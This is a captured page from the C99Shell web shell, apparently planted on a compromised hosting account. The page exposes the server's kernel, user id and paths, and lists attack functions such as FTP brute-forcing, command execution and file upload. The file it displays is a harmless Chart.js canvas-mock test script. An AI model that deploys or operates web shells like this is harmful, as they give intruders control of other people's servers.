!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/phbcoop.com/phb_admin/bower_components/chart.js/test/   drwxr-xr-x
Free 237.77 GB of 981.82 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     jasmine.context.js (2.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// Code from http://stackoverflow.com/questions/4406864/html-canvas-unit-testing
var Context = function() {
	this._calls = []; // names/args of recorded calls
	this._initMethods();

	this._fillStyle = null;
	this._lineCap = null;
	this._lineDashOffset = null;
	this._lineJoin = null;
	this._lineWidth = null;
	this._strokeStyle = null;

	// Define properties here so that we can record each time they are set
	Object.defineProperties(this, {
		fillStyle: {
			get: function() {
				return this._fillStyle;
			},
			set: function(style) {
				this._fillStyle = style;
				this.record('setFillStyle', [style]);
			}
		},
		lineCap: {
			get: function() {
				return this._lineCap;
			},
			set: function(cap) {
				this._lineCap = cap;
				this.record('setLineCap', [cap]);
			}
		},
		lineDashOffset: {
			get: function() {
				return this._lineDashOffset;
			},
			set: function(offset) {
				this._lineDashOffset = offset;
				this.record('setLineDashOffset', [offset]);
			}
		},
		lineJoin: {
			get: function() {
				return this._lineJoin;
			},
			set: function(join) {
				this._lineJoin = join;
				this.record('setLineJoin', [join]);
			}
		},
		lineWidth: {
			get: function() {
				return this._lineWidth;
			},
			set: function(width) {
				this._lineWidth = width;
				this.record('setLineWidth', [width]);
			}
		},
		strokeStyle: {
			get: function() {
				return this._strokeStyle;
			},
			set: function(style) {
				this._strokeStyle = style;
				this.record('setStrokeStyle', [style]);
			}
		},
	});
};

Context.prototype._initMethods = function() {
	// define methods to test here
	// no way to introspect so we have to do some extra work :(
	var me = this;
	var methods = {
		arc: function() {},
		beginPath: function() {},
		bezierCurveTo: function() {},
		clearRect: function() {},
		closePath: function() {},
		fill: function() {},
		fillRect: function() {},
		fillText: function() {},
		lineTo: function() {},
		measureText: function(text) {
			// return the number of characters * fixed size
			return text ? {width: text.length * 10} : {width: 0};
		},
		moveTo: function() {},
		quadraticCurveTo: function() {},
		rect: function() {},
		restore: function() {},
		rotate: function() {},
		save: function() {},
		setLineDash: function() {},
		stroke: function() {},
		strokeRect: function() {},
		setTransform: function() {},
		translate: function() {},
	};

	Object.keys(methods).forEach(function(name) {
		me[name] = function() {
			me.record(name, arguments);
			return methods[name].apply(me, arguments);
		};
	});
};

Context.prototype.record = function(methodName, args) {
	this._calls.push({
		name: methodName,
		args: Array.prototype.slice.call(args)
	});
};

Context.prototype.getCalls = function() {
	return this._calls;
};

Context.prototype.resetCalls = function() {
	this._calls = [];
};

module.exports = Context;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0597 ]--